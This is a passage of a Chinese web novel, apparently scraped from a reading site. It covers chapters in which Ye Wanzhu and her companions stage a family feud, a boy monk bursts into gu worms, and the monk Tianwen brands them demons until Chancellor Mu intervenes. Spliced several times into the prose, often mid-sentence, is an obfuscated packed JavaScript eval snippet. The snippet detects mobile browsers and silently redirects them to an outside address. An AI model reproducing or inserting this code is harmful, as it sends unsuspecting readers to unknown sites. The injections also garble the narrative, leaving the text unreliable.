做完这一切,他隔着屏风朝王后的方向看去,“王后不必费心寻找,完成任务后,他们自会返回,不会给王后添麻烦的。” 慕氏王后惊疑地看着谢无咎,又抬起头,目光在屋中四下逡巡。 她此番出行,身边也带着不少高手,可却没有发现这宅子附近还有谢无咎的手下! 这大梁的九千岁,好像比她调查当中的还要神秘莫测。 “王后?” 被王后隔着屏风盯视,谢无咎面上也依旧没什么表示,懒洋洋地耸了耸肩,目光直朝着后门方向而去。 定了定神,王后没再说什么,带着自己的手下匆匆离开正屋。 另外一边,叶晚竹走到前门后的时候,外面的德慧小和尚已经把门拍得震天响了。 “舅舅!舅舅我错了,我保证下不为例,你别把我丢到屋子外面……” “我害怕,我害怕呀!” “这个地方是哪里?我一个人都不认识,舅舅你快出来接我回家……呜呜呜……” 叶晚竹靠在门后听着,德慧小和尚的戏演得并不走心,连哭都透着几分应付了事的意味。 不过,倒是正好能对上邵威口中那胆大包天,敢自己偷溜进城的好外甥形象。 他扯着嗓子嚷嚷,街坊邻居们也又都被他惊动,三三两两地出来看情况,渐渐把邵威家门外堵得水泄不通。 不少邻居也自发地替外面的“外甥”拍门说好话,还有人指责着邵威的不是。 要不是他没把孩子看好,能闹出这种事来吗? 邵威这会儿也站在门后,听了这些话,气得脸都绿了。 他这大外甥可是凭空编造,又凭空出现的! 他上哪儿看好去? “哥啊。” 叶晚竹伸手拍了拍邵威的肩膀,他先是回过神来,又反应过来自己听到了什么,猛地一跃而起! “主子,我——” “我要开门了。” 他的动作又立刻被叶晚竹按住,叶晚竹轻笑着,“记住,现在你就是我大哥。” 邵威:…… 他何德何能! 吱呀一声,叶晚竹将院门猛地打开了。 站在外面的果然是德慧小和尚,他今日穿着一件正常的衣裳,脑袋上特意戴了帽子,好遮挡头上的戒疤。 德慧敲了半天的门也无人理会,正在扯着嗓子干嚎,身后忽然传来动静,他立刻转过头,“舅舅——啊!” 刚哭了一声,屁股上忽然挨了重重的一下!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215844|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啪”地一声无比响亮,德慧顿时感到下半身都麻木了,猛地抬起头,便对上了一双冷冰冰,又愤怒不已的眼睛。 “你还有脸回来?” 叶晚竹站在门前,甩了甩自己的巴掌,掌心都因为刚才那一下而泛着红。 德慧小和尚大张着嘴,想哭想喊,却在叶晚竹面前本能地畏惧着,一点儿声音都发不出来。 自从他上次被叶晚竹抓到,又被追问了那一连串的问题,而他一个都回答不上来之后,德慧心里对叶晚竹便生出了一种深深的恐惧。 这个女人,非常可怕! “不哭了?” 叶晚竹一巴掌打在德慧屁股上,门前的街坊邻居们也跟着安静了下来。 那动静他们也听见了,感觉自己的屁股都跟着紧了紧! 这一定是亲娘吧? 不然怎么敢的? “诶呀,小妹!你消消气,消消气啊!” 邵威适时从门里挤了出来,按着叶晚竹的肩膀,又分出一只手来拉德慧。 “延儿,别闹了,有什么话先回来再说!” 瞧这模样,十足的家庭矛盾! 邻居们到底还是跟邵威熟悉,有几个便又低声开口,劝着有话好好说云云。 说实话,邵威也不知道自家主子接下来要怎么演,只能讪笑着先应下,又按照常理把人往家里带。 谁知一大一小两个人都站在原地,一动不动。 “舅舅!” 德慧仰着脑袋,一把抓住邵威的手,眼中这么半天都没聚起多少泪水,倒是闪过一抹精光! 邵威心里一突突。 好像坏了! 是不是让这小子找到目标了? 下一刻,德慧扯着他的袖子就开始哇哇大哭! “舅舅!我不想要后爹,我也不想要新的弟弟妹妹!你快打我娘,骂我娘,让她不许抛弃我爹,不许和那个小白脸跑!” 邵威:?? 他还能管这么多事? 叶晚竹听得笑了,都到了这个时候,他还没忘了要打骂自己呢? 真是亲儿子。 “这两句话,你那个负心汉爹教了你多久?” 第三百九十七章 怎么连二舅也不认识? 叶晚竹弯下腰,一把捏住了德惠小和尚的脸蛋。 不知道他被救走之后又发生了什么,可这次再见,德慧小和尚看起来似乎憔悴了不少,脸上的软肉薄了一层,就连眼底都挂上了一片青黑。 叶晚竹垂眸看着,却生不出半点怜惜。 长得再可怜又怎么样? 还不是一张口就污蔑她,还要让人打她骂她? 叶晚竹飞快地冷笑一声,转瞬即逝,又马上换上了愤怒难当的口吻。 “我为什么好端端的要回娘家,还不是因为日子过不下去了?” “你爹朝三暮四,说好入赘我们邵家,一转头就往屋里添姨娘,还要让她管家!你小子也不长眼,阮姨娘随随便便说几句好听的,你就管她叫娘,还要把我从家里赶出去?” “好啊,我走了,你们又开始着急,急我搬走了所有嫁妆,收回了所有房产,急你们一家三口只能喝西北风了吧?” “你们父子俩没有一个是好东西,吃着碗里看着锅里,现在吸不着我的血,又急着跑来王都劝我?做梦!和离书已经签了,我是不会再回去的!” 现成的故事连编都不用编,叶晚竹一口气就全都倒了出来。 不光街坊邻居们听得愣住,就连邵威的神情都变得空白。 这,这是哪里来的畜生一家? 太过分了吧! 德慧小和尚被这一番劈头盖脸的话骂得回不过神,连叶晚竹的手还掐在自己脸上都忘记了。 直到叶晚竹再次低下头,那张精致却带着凶狠的脸逼近,德慧才打了个哆嗦回过神来。 “你,你……” 他下意识地就抬起手,狠狠地朝着叶晚竹的肩膀推了一把! 别过来啊! 叶晚竹闪身避开,可德慧那一下的力道已经落入了在场众人眼底。 哪有孩子对着自己亲生的母亲做这种举动的? 街坊邻居们忍不住交头接耳起来。 德慧听着身后的动静便是止不住地心慌。 “你胡说!”他瞪大双眼看着叶晚竹,“我爹没做这样的事情!是,分明是你看上了隔壁新来的小白脸,要跟他私奔,抛下家里的一切都不管了,还把所有的银子都卷走!” 终于找到了说话的机会,德慧抽了抽鼻子,哭声再次响了起来。 “我和爹好可怜啊!家里揭不开锅,爹为了换点银子,上山打猎还把腿摔断了,我去求你,你连门都不给我开,只知道和那个小白脸一起私奔!” “诶诶诶!” 邵威听不下去了,脸一板,“你这个孩子,怎么胡说八道呢?我就是去接你娘出苦海的!再在你们萧家呆下去,我妹子连命都要交待了!” “是你爹让你跟着我们到王都来的吧?”他演戏演全套,“我现在就找人把你送回去!太不像话了,我们邵家的钱,你们一文都别想要!” 德慧呼哧呼哧地喘着粗气怒瞪邵威,“舅舅坏!你也帮着我娘!那个小白脸是跟你们一起到王都来的,别以为我不知道!” 邵威闻言又愣住了! 这瞎话怎么还编的有头有尾,环环相扣的呢? 叶晚竹的冷笑声这时候又响了起来。 “我和你爹已经和离了,什么小白脸小黑脸的,都跟你们父子没有任何关系,你有这功夫,还是回去好好管你的姨娘多叫两声好娘亲,看她会不会多给你一点零用钱吧。” 知道眼前的小光头是萧延,叶晚竹胸口翻涌的情绪越发真实,语气也渐渐变得充满憎恶。 围观的邻居们方才还只是被这一大串的离奇故事砸晕,现在回过神来,感受着叶晚竹话里的情绪,又不由得皱起了眉。 听上去,这明显就是恨极了夫君一家啊! 邵威在左邻右舍之间的口碑还不错,邻居们对他本就更加信任,德慧小和尚虽然喊得高,哭得响,可怎么看都是个被宠坏了的熊孩子。 两相对比,街坊邻居们心里的那杆秤都开始倾斜着,望着德慧的时候眼神也越发不喜。 小小年纪就满口谎话! 感受到邻居们的情绪,德慧的眼神不由得慌乱起来,“我,我不是!我没撒谎!” “行了行了!” 邵威厌烦地搭腔,又伸手来拉德慧,“进来吧,一会儿舅舅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215845|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找人把你送回去,你老老实实跟着你爹,别来烦你娘了——” “诶!” 他一句话还没说完,院子里忽然传来一声惊呼! 是男人的声音! “小白脸!” 趁众人都没反应过来,德慧一把挣脱了邵威的手,一头撞开院门便冲了进去! 叶晚竹反应过来想跟上,却见方才还好端端立着的两扇大门忽然晃了几下,下一刻轰然倒塌! “诶呦!” “小心!” 众人惊呼着连忙后退,邵威瞠目结舌地看着自家院门就这么倒在地上,拦腰断成几片! 他花重金请人做的大门! 刚换了没多长时间,怎么会塌? 肯定是德慧那个小兔崽子! 邵威胸膛起伏,这回是真生气了! “臭小子你给我出来!” 门前烟尘落了落,邵威正要往里走,却听见德慧的尖叫声又响了起来。 “**灭口啦!小白脸要**灭口啦!” 院中,德慧被岑灵川拎着举到半空中,不断地蹬着双脚,两只手却还死死地攥着谢无咎的袖子,也不知道是想跑还是不想跑。 他扯着嗓子声嘶力竭地嚎叫,动静大得整条街都能听见。 谢无咎嫌弃地伸长胳膊。 这小和尚,怎么这么能喊? “**啦——” 德慧的尖叫声又上了个台阶,岑灵川站在一旁眉头紧皱,面上也忍不住浮现出几分厉色,“谁**?你要杀了我们还差不多!” 吵**了! 院门外这会儿人头攒动,大门碎裂之后,院里的一切都一览无余地暴露在所有人面前。 看着站在院里的这几个男人,邻居们脸上的表情又变得有些奇怪。 德慧小和尚也看到了,连忙更加用力地扯住谢无咎的腰带,“就是你这个小白脸!勾引我娘,畜生东西!” 谢无咎沉默一下。 这话的前半句,倒是也不算错。 众人围观之间,他轻笑一声。 “你这孩子,连二舅都不认识?” 第三百九十八章 讨债的儿子 二,二舅? 众人神情呆滞地立在院外。 邵威脚下一个趔趄,扶住已经空空如也的门框,才没让自己双膝一软,跪倒在地。 堂堂威远王殿下来给他当小妹还不够,现在九千岁大人也成他弟了! 谢无咎狭长的眼眸这时候朝院外看了过来。 邵威又一哆嗦,连忙上前接戏,“诶,你这臭小子,这回看清了没有?” 他上前两步,努力维持着一家之主的威严,伸手把德慧从谢无咎身上扒拉下来。 叶晚竹这时候也快步上前,又一巴掌重重扇在德慧另外一半的屁股上! “你闹够了没有?你和你爹逢年过节从来不爱跟我回娘家省亲,那也不该连二舅都认不出吧?” 言下之意,那就是德慧故意的! 邻居们看看长身玉立的“邵二舅”,不得不说,的确有几分小白脸的感觉! 谢无咎这时候勾唇一笑,院里的空气却好像无端冷了几分。 他直直看着德慧,“也幸亏你跟你爹都和我不熟,要不然,二舅我怎么能抓到你爹准备把家里的房产偷偷地换成姨娘的名字呢?” 邻居们闻言更是一片哗然! “诸位,”谢无咎朝着院外拱了拱手,气派得很,“在下不才,早早离家在外做些生意,在万源小有人脉,听闻此事之后便立刻赶回去调查,没想到竟然都是真的,这才紧急给大哥写信,回乡处理家事。” 差不多的话,从谢无咎嘴里说出来,可信度就是显得更高一些。 邻居们互相看看,议论声更是一浪接着一浪地响了起来。 德慧小和尚听着这些街坊四邻的话,基本上没有一句是偏向自己的,还大都在说他的不好,顿时又急又气,一张脸也涨得通红。 “你,你胡说!”他抬手就指谢无咎的鼻子,“你才不是我二舅!” 向来没什么好脾气的谢无咎这会儿却笑得无奈,“你都没见过我,怎么知道我不是你二舅?再说,你大舅都承认了。” 邵威:“就是!你这倒霉孩子,快喊二舅!” 德慧小和尚气得整个人都在哆嗦! 他颤抖着朝院中看去,又伸手指向靠着墙看热闹的岑灵川,“那就是你!你是那个小白脸!你总不能是我三舅吧?” 一个借口连续用两遍,那就太假了! 岑灵川抱着胳膊笑,那笑容一看就不是什么好人。 “谁要给你这种小混球当三舅?” 他颇为嫌弃地看着德慧,又嗤之以鼻,“我是镖头!邵老板从万源往王都搬家,雇了我们给他护镖的!” 说着话,他抬手指了指谢三,又朝邵威一抬下巴。 “邵老板,记得结账啊!” 邵威忍气吞声地点了点头。 岑灵川这一招把院里的护卫全都捎带上了,德慧还有心想闹,纵观全场,却连一个人都挑不出来! 德慧小和尚迷茫了,“那,那……” “那什么?” 叶晚竹不耐烦地伸手拉了他一把,“走,跟我进屋,别再丢人现眼了!” 谢无咎手腕一转,拎着德慧便要往屋里去,邵威一边赔着笑脸,一边念叨着家门不幸,打算想办法把他的院门先安回去。 一切都是不懂事的孩子胡闹,邻居们没了看头,也被德慧的所作所为败坏了心情,纷纷嘀咕着摇头离开。 就在这时,一声尖叫忽然响了起来! “滚——啊——!” 出声的人依旧是德慧,可这动静却让正在离开的邻居们脚下同时一顿! 凄厉高亢的喊声刺得人耳膜生疼,同时也让众人的心都跟着晃了一下。 这喊声,不对劲吧? 邵威也胆战心惊地转过头去。 又怎么了? “都让开!” 谢无咎这时候一把将德慧小和尚掼倒在地,声音前所未有地严厉。 叶晚竹被他用力推开,她后退数步,一双眼睛却直勾勾地看着德慧。 德慧来此肯定是有天问大师的授意,不知道他们要达成什么样的结果,总之现在是没成功。 因而他生气是正常的,被谢无咎拎在手里的时候,德慧一直在哆嗦个不停,谢无咎也没太在意。 可就在刚刚,德慧双眼通红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215846|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忽然朝着谢无咎的胳膊张嘴要咬,而从他眼角,一只小小的红色虫子晃晃悠悠地爬了出来! 德慧也是天问大师的试验品! “我要杀了你们所有人!” 德慧被谢无咎丢在地上,以九千岁的力气,他这会儿还能清醒着都应该是奇迹。 可德慧不光醒着,甚至还一骨碌从地上爬了起来,大吼一声,看准叶晚竹就扑了上来! 谢无咎不知道从什么地方摸出长剑,抬手一挡,锋利的剑刃撞破了德慧的脸,一道长长的疤痕顿时冒出血珠。 紧跟着,密密麻麻的红色虫子从他脸上涌了出来。 “什么东西!” 岑灵川看得头皮发麻,忍不住大骂了一声! 这是妖怪吧! 院门还没堵上,围观的邻居们看见里面的场景,顿时也忍不住惊叫起来。 “杀了你,杀了你们!” 此时的德慧小和尚似乎又变成了当初在万源时的那个样子,眼中写着癫狂,浑身不住地哆嗦着,只会大喊大叫要**。 他闷头要朝着叶晚竹扑上去,谢无咎长剑翻飞,却又不想制造出更多伤口和虫子,一时间也有些束手束脚。 倒是德慧狞笑一声,狠狠在自己胳膊上咬了几口,让更多的红色长虫从里面掉落下来。 虫子们落地之后又迅速抱起团来,滚雪球一样朝着叶晚竹那边去。 “别被碰到!”谢无咎的语气有些急促。 他没在天问那秃驴手里见过这种蛊虫,但明显不是什么好东西! 岑灵川一把扯着叶晚竹上了树,那些虫子却不依不饶,又用最快的速度分散开,一条一条地沿着树干往上攀爬。 虫子们蠕动着肉乎乎的身子,无感情的眼睛直勾勾地朝着叶晚竹的方向看,还张开嘴,露出软绵绵的口腔。 少说也有几千条虫子,齐声冲着叶晚竹大喊。 “娘!” 这场景说不出的震撼,也说不出的恶心。 “……你这儿子绝对是来讨债的!”岑灵川额角的青筋都迸出来了,“走,上房——” “阿弥陀佛。” 第三百九十九章 你们都是妖物! 一声佛号这时候从院外传来,众人最不想听见的声音里带着悲天悯人的沉静意味。 已经在小巷子里四下奔逃的百姓们也不约而同地停下了脚步,又眼睁睁地看着从巷子两端现身的僧人们。 这些僧人都穿着崭新干净的僧袍,气质沉稳,一眼看过去就让人能生出不少信任之感。 尤其是走在最前面的那位。 “阿弥陀佛,各位施主莫要惊慌。” 天问大师一边轻声安抚着邻居们,一边施施然地从院外走了说进来。 “这秃驴今天人模狗样的。”岑灵川往下看了一眼,冷声念叨着。 叶晚竹也垂眸看去。 今天的天问大师没再穿他那身灰扑扑的袍子,而是换了件绣着金线的,一看就十分气派。 他头上也戴了顶僧帽,和衣裳搭配着更是显出一副出世高人的模样。 “真能装。”邵威这会儿也在嘀咕着。 那些僧人也和天问大师一起进到了院中,动作十分迅速地把整个院落包围了起来。 谢三有心想动,却被谢无咎隔空投来的眼神按下。 “贫僧方才观星,发觉此处有危险之事发生,特此前来,果然。” 天问大师不紧不慢地在院中站定,一边说着话,一边抬手朝房檐下指了指。 叶晚竹和岑灵川这个时候已经跃上了房顶,那些红色的长虫也随着他们的动作,调转方向重新追了过去。 撕心裂肺喊娘的声音虽然不见了,可这会儿,听着天问大师提起,外面的邻居们却还是能想起来,刚才那场景有多恐怖! 再看院中,德慧小和尚方才站着的地方俨然已经成了虫子窝,不停地有长虫从里面爬出来,而德慧的模样却完全看不出来了。 望着地上的那摊烂肉,大伙儿忍不住都在犯着恶心! “这,这到底是什么东西啊?”有人忍不住发问了。 也有人认出了天问大师,神情开始变得惶恐,还不停地跟身边的人窃窃私语。 这可是跟在王上身边的高僧啊! 天问大师无视着身后的种种情绪,一双眼睛只看着这些红色的长虫。 “此乃……天罚。” 他轻轻开口,说出的话顿时让百姓们集体倒吸了一口冷气! 天罚? 这是什么东西? 听着就不怎么样! 天问大师又上前一步,将阔袖一甩,举起一个白色的小瓷瓶,朝着德慧方才站过的地方就撒了下去。 瓷瓶里装着的药粉也是红色的,落在那些长虫身上,后者们顿时扭曲着身子尖叫起来。 那画面又变得更加诡异恶心。 跟着天问大师的那些僧人们也动了,人人手里都有一个瓷瓶,绕着房子上下撒了一圈,长虫纷纷在尖叫声里融化,变成了一摊又一摊的血水。 血水滴滴答答地沿着邵威的房子落在地上,还散发出一股难闻的味道。 邵威捂着嘴,一阵又一阵地干呕着,连站都有些站不稳了。 他的宅子啊! 这正屋,这院子,还有这树! 都不能要了! 恨恨地看着天问大师,邵威这会儿恨不得一个箭步冲上去揭穿他这张高人的皮! 什么高人! 什么天罚! 这小和尚,不就是这秃驴的徒弟吗? 谢三在一旁用力拽着邵威,才不至于让他现在冲出去吸引注意力。 闹出这么大的阵仗,天问这秃驴是想干什么? 天问大师这会儿正垂头看着地上的那摊血迹。 如果不是亲眼所见,恐怕没人会相信不久之前,这个地方还站着一个活生生的小孩。 德慧终究是承受不了一体双魂的折磨,体内发生了异变,他来到王都之后,天问大师才发现。 已经晚了,无可救药。 好在他这最后的一点用处发挥得还不错。 收回目光,天问大师双手合十,朝着还在房顶的叶晚竹道了一句,“妖女,还不下来受死!” “什么玩意儿?” 岑灵川瞪大双眼,又伸长了脖子往天问大师脸上看。 “你说别人是妖怪?” 这秃驴还能更不要脸一点吗? “王都向来平静无波,唯有今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225006|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日忽然生出异象,贫僧观天象而见,正是你们这些妖孽在为祸一方!” 天问大师说话的时候,好像从来都不认识眼前的这几位老朋友一般,倒是把义正词严的架子端得有模有样。 “休得巧言令色,快快下来受降!”他又加重了几分语气,抬手指向叶晚竹的动作更加锐利。 岑灵川忍不住地大笑出声。 “荒唐!”他嗤之以鼻,“秃驴,仗着自己背后有人,啊不对,也不一定是人,你有了靠山,就能这么颠倒黑白?” “不得妄语!” 他话音未落,站在院中的僧人便沉声大喝,语气充满愤怒。 “尔等妖物,最会妖言惑众!” 岑灵川深深地吸了一口气,又猛地翻起了白眼! 两句话的功夫,他也成妖怪了! 邵威这会儿正听着院外的街坊邻居们互相传递的消息。 南疆王重新现身,整饬宫中,就是靠着这位天问大师的本事呢! 要不是天问大师将王上的怪病治好,又发觉他是中了毒,说不定,这会儿王上还被国师等人蒙在鼓里! 据说天问大师有占星断命的本事,现在看来,果真如此! 邵威听着这些话就止不住地皱眉头。 他对王都的情况略知一二,国师和那些蛊术师是一派,炼蛊这等法术,南疆寻常百姓多少还是畏惧的,再加上蛊术师大多行事诡谲,剑走偏锋,也闹出过不少人命官司,时间一长,百姓们对蛊术师是又怕又恨,连带着国师也不招人待见。 现在又闹出给南疆王下毒的事情,国师的倒台,在南疆百姓心中便更是成了一件鼓掌欢呼的好事。 如此一来,站在国师对面的天问大师,看起来无疑就像是个好人了。 邵威不住地叹着气,更想冲出去告诉大家真相。 这秃驴更是一肚子坏水啊! 天问大师这时候已经指挥着手下的僧人飞上房顶,朝着叶晚竹和岑灵川而去。 “将这两个妖物拿下!” “我看谁才是妖!” 岑灵川冷笑一声便要冲上去,却忽然被叶晚竹拦住了。 第四百章 谁在颠倒黑白? “秃驴,你还敢这么光明正大地现身颠倒黑白?” 冷笑一声,叶晚竹也抬手朝着天问大师的脸指了过去! 不就是指人? 谁不会呢? “就是你害了我儿子,害了我们一家!” 她的声音比天问大师清亮,又站得高,让外面的街坊邻居们也能听得更加清楚。 众人:?? 他们这是又听见了什么了不起的东西? 刚才那个变成妖怪的小孩,是被天问大师害的? 街坊们忍不住都朝着天问大师的背影看了过去。 这衣袂飘飘,仙人之姿的模样,怎么看,都和刚才那些红色的长虫联系不到一起去吧? “对!就是你!你个老妖僧!” 邵威这时候却也跟着大喊一声! 终于能说话了! 他深吸一口气,指着天问大师,又转头看向外面。 “大伙儿啊,你们可不能让这人模狗样的东西骗了!我们在万源就是被他耍阴招害了,差点儿把命都交代出去!” 街坊四邻们于是又愣住了。 邵威毕竟是跟他们一起住了这么长时间的,大家低头不见抬头见,都知道这位不是会胡说八道的人。 可,可他说的这话,未免也太骇人听闻了吧? “我哥说得没错。” 谢无咎也从墙边走了上来,站在邵威身边,不动声色地拍了拍他正在哆嗦的肩膀。 “此人在万源就追着我们,要对我们不利,从万源来王都的这一路上,更是有不少人在追杀我们,不然的话,也不至于要找镖局来护送。” 众人的神情这就变得越发怪异了起来。 叶晚竹从房顶一跃而下,看着天问大师,嘴角一弯,又勾起一抹更加锐利的笑容。 “你以为你换了身衣裳,我就认不出了?在万源的时候,伪装成我那夫君的身边人,不断给我儿子说些怪话的人就是你吧?非要让他管姨娘叫娘,把我家搅合得一塌糊涂,现在还把我儿子变成这个模样!” 伸手一指地上的血水,叶晚竹的语气越发尖利。 “秃驴,你想干什么?因为我们一家撞破了你私下研究怪物的事情,所以你要先下手为强,制造谣言,把这盆黑水抢先扣到我们的头上吗?” 天问大师的眼角开始控制不住地抽抽着。 叶晚竹又笑了一下。 看来她都说对了。 “贫僧不知道你这妖女在说什么。” 天问大师开口的时候,语气还是如方才一般沉稳,可他眼中闪烁着的情绪,却到底还是泄露了几分不快。 叶晚竹抱起双臂,“我也不知道你这妖僧在听什么呢,大师,您不是南疆的得道高僧吗?怎么跟我用大梁话说得这么有来有回的?” 她把话原封不动地还给眼前的秃驴,天问大师闻言一愣,脸色肉眼可见地变得难看下去! 一不小心,他竟然又中计了! 邵威飞快地把叶晚竹和天问大师的交谈变成南疆话,转给外面的邻居们听。 “这秃子真的不安好心!”他语速飞快,“听见了吧,他会说大梁话,之前也去大梁折腾过这么一遭,最近才回到王都来的——啊!” 话还没说完,谢无咎忽然抬手将他一扯,邵威的后半句话全都卡进了喉咙,蓦地发出一声惨叫! 在他刚刚站着的地方,一道气劲击出,顿时将地砖炸得粉碎! “不许你侮辱大师!” 门外,一个僧人眉头倒竖,厉声大喝着。 天问大师忽然一摆手,“莫要如此粗鲁,不得惊扰平民!” 他又转向叶晚竹,“贫僧此番前来,只为捉拿这个妖女,等处理了她,被蒙蔽者自然会幡然醒悟。” “我呸!” 邵威惊魂未定,听见这番话彻底忍不住了,“你要不要脸?” 他是被蒙蔽者? 这秃驴,好大的脸! 把他们所有人的角色都重新规划了一遍! 邵威还要说些什么,刚张开嘴,便忽然感到脖子好像被什么东西捏住了一样,一点儿声音都发不出来! 他挣扎两下,谢无咎立刻看向天问大师,果然见他的双手背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225007|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在身后,又藏进那宽袍大袖之中。 谢无咎掌心一翻,几根金针正要投出,一个僧人却忽然大喊,“此人要对大师不利!” **从什么地方冒出来,一把捏住了谢无咎的手腕,将金针夺过,高高地举过头顶。 金针折射出道道阳光,被那大义凛然的僧人捏着,似乎一切都无法辩驳。 天问大师背对着院外,身形一动不动,双手却继续暗中用着力。 一个卑贱的下人,也敢当众非议他,简直是不知死活! 邵威挣扎的动作顿时又变得艰难了几分,大张着嘴却呼吸不到空气,整张脸已经涨成了紫色。 他想动一动,偏偏那僧人站着的地方,不偏不倚地把他挤在角落,让外面的街坊们什么都看不见! 叶晚竹骤然拔出腰间长鞭,对着天问大师就抽了下去! “这点阴诡招数,你还想用多少遍?” 天问大师后退半步,背在身后的手忽然松开,邵威也跟着猛地吸了一口气! 他跪倒在地,不住地呛咳,却依旧没人注意那边。 天问大师躲开叶晚竹在众目睽睽之下的一击,僧帽被扫掉了,显得有几分狼狈,他倒是毫不在意,反而又笑了起来。 “你这是死到临头,无计可施,开始恼羞成怒了。” 他一双眼睛直勾勾地盯着叶晚竹,“妖女,贫僧已经追踪了你很长时间,你这为害大陆的祸端,须得早日肃清!” 话音未落,天问大师忽然飞身而起,跃到半空中,抬手成爪,朝着叶晚竹的头顶狠狠袭来! 与此同时,满院的僧人也齐齐而动,硬是将岑灵川要上前的道路全都堵得死死的! 叶晚竹侧身闪躲,却依旧被那气劲所伤,半个身子顿时没了知觉。 天问大师一击不中,正要再来,身后忽然传来劲风,他骤然闪开,却正好给谢无咎腾出了空间,让他一把将叶晚竹护在身后。 “有这样的身手,还说你们只是邵家的普通人?” 天问大师嘴里说着话,手上的动作却没停下—— “慢着!” 第四百零一章 公事公办,一起带走 一声爆喝从巷子里传来。 “是谁在此妖言惑众,恐吓百姓?” 来人声如洪钟,说话的时候还伴随着阵阵整齐划一的脚步声。 “慕相来了!” 不知道是谁起的头,巷子里的街坊邻居们稀里哗啦地朝着一个方向齐刷刷地看了过去。 慕丞相大人,说是南疆的中流砥柱也不为过。 上一任南疆王昏庸,这一任南疆王……诡异,总之都不是什么贤明的君主。 在他们的统治之下,可想而知南疆这些年来的发展并不乐观。 而朝堂与民间,便几乎都是由慕丞相在操持着。 慕家虽然是王都首屈一指的高门大户,可慕丞相乃至慕家上下,都不是不肯低头望苍生的无良贵族。 恰恰相反,慕家一门忠义,为官者清正廉洁,为将者骁勇善战,在南疆百姓心中,慕家便是公义的代名词。 这会儿看着慕丞相出现,众人的心都已经落回了肚子里去。 大伙儿自发让开路,一身官服,神色严肃的慕丞相快步走进了邵威家的院子里。 “天问大师。” 还没站定,慕丞相便朝着刚落回地上的人出了声。 “你这是在做什么?” 天问大师在听到慕丞相前来的时候就收了招式,这会儿仿佛刚才的一切都没发生过似的,又高人一般地转过身子,露出一个微笑。 “慕相怎么来了?贫僧得到消息,说这里有妖物,唯恐其祸害百姓,这才来——”看一看。 “民女拜见慕相!” 天问大师的一句话还没说完,叶晚竹忽然上前一步,拉着谢无咎就在慕丞相面前跪了下去! 谢无咎也跟着动作,跪得无比顺畅。 “慕丞相,您快救救我们一家吧。”他捏着嗓子诉苦,却怎么听都好像带着一分挑衅。 天问大师站在一旁,看着谢无咎飞速朝自己这边投来的眼神,呼吸忍不住一滞! “慕——” 他又要开口,慕丞相却也上前一步,恰到好处地将天问大师的话再次截住。 “怎么回事?你们如实说来。” 头发花白的慕丞相说起话来却是中气十足,不紧不慢,俨然是将一切都尽收眼底的淡定。 叶晚竹跪在地上,假意挤出两滴眼泪,又添油加醋地把天问秃驴是怎么**他们一家的事迹讲了出来。 谢无咎的话不算太多,却总在关键时刻点上两句,不动声色地将情绪烘托得更加浓郁。 两人一番配合下来,街坊邻居们看着天问大师的眼神就有些变化了。 天问大师在南疆本就有名声,现在站在南疆王的身后,说话做派都是一副人上人的模样。 可叶晚竹眼下扮演的只是一个寻常女子,怎么看,后者的委屈都更真情实感一些。 “慕相,这大师刚才口口声声,质问我等身手太好,定是妖物,却混然不提自己这番举动,都是什么用意。” 二人都已经在慕丞相的示意下站起身来,谢无咎抱着双臂,眼神凉凉地望着天问大师的方向。 “无凭无据,这大师就要硬给我们扣上妖物的头衔,而我们甚至才刚刚抵达王都不到半天,这实在是有些说不过去了吧?” “正是。” 叶晚竹也直起身子来。 